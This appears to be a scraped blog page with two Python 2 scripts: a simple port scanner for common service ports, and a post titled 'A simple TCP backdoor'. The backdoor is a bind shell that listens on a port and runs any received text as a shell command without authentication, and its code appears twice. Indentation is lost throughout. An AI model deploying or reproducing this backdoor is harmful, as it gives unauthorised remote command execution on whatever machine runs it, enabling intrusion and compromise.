#!/usr/bin/python
import socket
import sys
try:
HOST=sys.argv[1]
except:
HOST='127.0.0.1'
PORTS=[8, 21, 22, 23, 80, 135, 139, 445, 8080]
for PORT in PORTS:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
print "%s:%s is open!" % (HOST, PORT)
except:
print "%s:%s is close!" % (HOST, PORT)
s.close()
Wednesday, January 11, 2017
A simple TCP backdoor
#!/usr/bin/python
import socket, sys, subprocess
class BreakOutOfALoop(Exception): pass
def execute( command ):
subprocess.check_output(command, shell=True)
return
HOST = '';
try:
PORT = sys.argv[1]
except:
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
while 1:
try:
conn, addr = s.accept()
while 1:
conn.sendall("# ")
try:
data = conn.recv(1024)
except:
raise BreakOutOfALoop
execute(data)
#print type(data)
data = data[:-1]
conn.sendall("%s is executed!\r\n" % data)
except BreakOutOfALoop:
continue
conn.close()
s.close()
import socket, sys, subprocess
class BreakOutOfALoop(Exception): pass
def execute( command ):
subprocess.check_output(command, shell=True)
return
HOST = '';
try:
PORT = sys.argv[1]
except:
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
while 1:
try:
conn, addr = s.accept()
while 1:
conn.sendall("# ")
try:
data = conn.recv(1024)
except:
raise BreakOutOfALoop
execute(data)
#print type(data)
data = data[:-1]
conn.sendall("%s is executed!\r\n" % data)
except BreakOutOfALoop:
continue
conn.close()
s.close()
Subscribe to:
Posts (Atom)